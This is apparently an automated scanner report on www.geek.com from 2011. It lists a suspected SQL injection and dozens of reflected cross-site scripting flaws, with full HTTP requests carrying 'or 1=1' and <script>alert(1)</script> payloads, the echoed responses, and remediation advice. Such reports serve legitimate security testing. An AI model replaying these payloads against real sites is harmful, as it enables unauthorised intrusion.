XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, geek.com, keyword, googleio

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 79240031'%20or%201%3d1--%20 and 79240031'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

Request 1

GET /wp-content/themes/geek679240031'%20or%201%3d1--%20/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:02 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44307
X-Varnish: 1842939858
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:40 GMT
Date: Tue, 10 May 2011 13:29:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/microsoft-buys-skype-20110510/">Microsoft buys Skype</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Xbox_Next_02.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/ea-has-next-xbox-hardware-microsoft-to-reveal-at-e3-2011056/">EA has next Xbox hardware, Microsoft to reveal at E3?</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Netflix-Xbox360-580x326.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/chrome-os-to-offer-netflix-support-at-launch-2011059/">Chrome OS to offer Netflix support at launch</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/Google_Chrome_2011_Wordmark_Logo.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/geek-pick/googles-chrome-browser-has-finally-been-hacked-2011059/">Google’s Chrome browser has finally been hacked</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-
...[SNIP]...

Request 2

GET /wp-content/themes/geek679240031'%20or%201%3d2--%20/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:57 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44379
X-Varnish: 924435317
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:42 GMT
Date: Tue, 10 May 2011 13:29:42 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/PSN_Qriocity1.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/sony-delay-switching-psn-back-on-again-free-games-to-be-offered-2011058/">Sony delay switching PSN back on again, free games to be offered</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/53_Closed_HdOnTouchUp-High-res-e1304991616778.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/chips/panasonic-toughbook-53-annoucement-20110510/">Panasonic trims the semi-rugged Toughbook 53 down to 5.6 pounds</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/nvidia_icera.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/mobile/nvidia-buys-icera-tegra-to-get-integrated-3g4g-chip-2011059/">Nvidia buys Icera, Tegra to get integrated 3G/4G chip</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/BlackOps_screen.jpg&w=320&h=220&zc=C" /><br />

<h4><a href="http://www.geek.com/articles/games/activision-confirms-next-cod-will-have-premium-online-features-20110510/">Activision confirms next COD will have premium online features</a></h4>
</li>

<li>
<img alt="" src="http://www.geek.com/images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 36 instances of this issue:

/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [REST URL parameter 3]
/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter]
/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter]
/images/phpThumb.php [REST URL parameter 2]
/images/phpThumb.php [name of an arbitrarily supplied request parameter]
/images/phpThumb.php [src parameter]
/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 1]
/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 2]
/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 3]
/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 4]
/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 5]
/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 1]
/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 2]
/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 3]
/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 4]
/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 1]
/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 2]
/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 3]
/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 4]
/wp-content/themes/geek6/favicon.ico [REST URL parameter 1]
/wp-content/themes/geek6/style.css [REST URL parameter 1]
/wp-content/themes/geek6/style.css [REST URL parameter 2]
/wp-content/themes/geek6/style.css [REST URL parameter 3]
/wp-content/themes/geek6/style.css [REST URL parameter 4]
/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 1]
/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 2]
/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 3]
/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 4]
/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 5]
/wp-includes/js/jquery/jquery.js [REST URL parameter 1]
/wp-includes/js/jquery/jquery.js [REST URL parameter 2]
/wp-includes/js/jquery/jquery.js [REST URL parameter 3]
/wp-includes/js/jquery/jquery.js [REST URL parameter 4]
/wp-includes/js/l10n.js [REST URL parameter 1]
/wp-includes/js/l10n.js [REST URL parameter 2]
/wp-includes/js/l10n.js [REST URL parameter 3]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [REST URL parameter 3] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 63398--><script>alert(1)</script>7861d958a55 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /articles/geek-pick/63398--><script>alert(1)</script>7861d958a55/ HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
X-Pingback: http://www.geek.com/xmlrpc.php
Last-Modified: Tue, 10 May 2011 13:27:41 GMT
Content-Length: 44872
X-Varnish: 1842939106
Expires: Tue, 10 May 2011 13:27:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:27:20 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=2bd2ee574cabb2e69c83c736e9b8d198; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7861d958a55/ -->
...[SNIP]...

2.2. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a234e--><script>alert(1)</script>903572a83f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a234e--><script>alert(1)</script>903572a83f7=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:23:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937702
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:23:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:23:02 GMT
Connection: close
Set-Cookie: PHPSESSID=9e7f6e9c93664bc87f12aa296ace5917; path=/
Set-Cookie: THECODE=p13t1
Content-Length: 56842

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>903572a83f7%3D1 -->
...[SNIP]...

2.3. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2eb0"><script>alert(1)</script>4d5bce2f7da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a2eb0\"><script>alert(1)</script>4d5bce2f7da in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a2eb0"><script>alert(1)</script>4d5bce2f7da=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:23:16 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937683
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:22:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:22:55 GMT
Connection: close
Set-Cookie: PHPSESSID=5922edfd9d04bc3b289562d916f1f152; path=/
Set-Cookie: THECODE=p13t1
Content-Length: 56847

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<a href="http://del.icio.us/post?url=http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a2eb0\"><script>alert(1)</script>4d5bce2f7da=1&title=Google+Music+to+launch+in+beta+at+I%2FO+2011" id="akst_delicious" rel="nofollow" target="new">
...[SNIP]...

2.4. http://www.geek.com/images/phpThumb.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 565bf--><script>alert(1)</script>38d07e77bf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /images/phpThumb.php565bf--><script>alert(1)</script>38d07e77bf3?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:46:10 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44537
X-Varnish: 1842943456
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:45:48 GMT
Date: Tue, 10 May 2011 13:45:48 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>38d07e77bf3%3Fsrc%3D/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg%26w%3D320%26h%3D220%26zc%3DC -->
...[SNIP]...

2.5. http://www.geek.com/images/phpThumb.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c5dab<script>alert(1)</script>9f784ae36ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C&c5dab<script>alert(1)</script>9f784ae36ce=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: image/png
X-Powered-By: PHP/5.2.17
Content-Length: 655
X-Varnish: 1842943267
Date: Tue, 10 May 2011 13:45:12 GMT
Connection: close

.PNG
.
...IHDR.......d........4....PLTE.......5P.....IDATX.c` .02.1.p404|.`....q...a-B.,....*..N!3....i.<'<....F.....Kh..p.!-..BAk&...>.t .\$.E..=..5..=.*,....JJ..(j.y.30..q....P.9..BH...!..`.....
...[SNIP]...
<br>

phpThumb() v1.7.8-200709161750

Forbidden parameter: c5dab<script>alert(1)</script>9f784ae36ce

2.6. http://www.geek.com/images/phpThumb.php [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The value of the src request parameter is copied into the HTML document as plain text between tags. The payload 261d9<script>alert(1)</script>2aeead6487d was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg261d9<script>alert(1)</script>2aeead6487d&w=320&h=220&zc=C HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: image/png
X-Powered-By: PHP/5.2.17
Content-Length: 936
X-Varnish: 924438743
Date: Tue, 10 May 2011 13:44:56 GMT
Connection: close

.PNG
.
...IHDR.......d........4....PLTE.......5P....uIDATX...Mh.A...].4 E'?B..w...MD#T09..F.#E.%...P.U.P.dY7......B*Ml..x.,z...`*.....6
...'7V.),z.d.Xf........?..k@.%...t..S....V.@!...k..g...F-....
...[SNIP]...
<br>

phpThumb() v1.7.8-200709161750

"/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg261d9<script>alert(1)</script>2aeead6487d" does not exist

2.7. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 77fa0--><script>alert(1)</script>7ebde50ca6e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content77fa0--><script>alert(1)</script>7ebde50ca6e/plugins/digg-digg/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:26 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1154909849
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:35 GMT
Date: Tue, 10 May 2011 13:27:35 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7ebde50ca6e/plugins/digg-digg/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

2.8. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload f1301--><script>alert(1)</script>ae164d3cd87 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/pluginsf1301--><script>alert(1)</script>ae164d3cd87/digg-digg/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:42 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1842939755
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:20 GMT
Date: Tue, 10 May 2011 13:29:20 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ae164d3cd87/digg-digg/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

2.9. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 7345e--><script>alert(1)</script>3ab5e597198 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

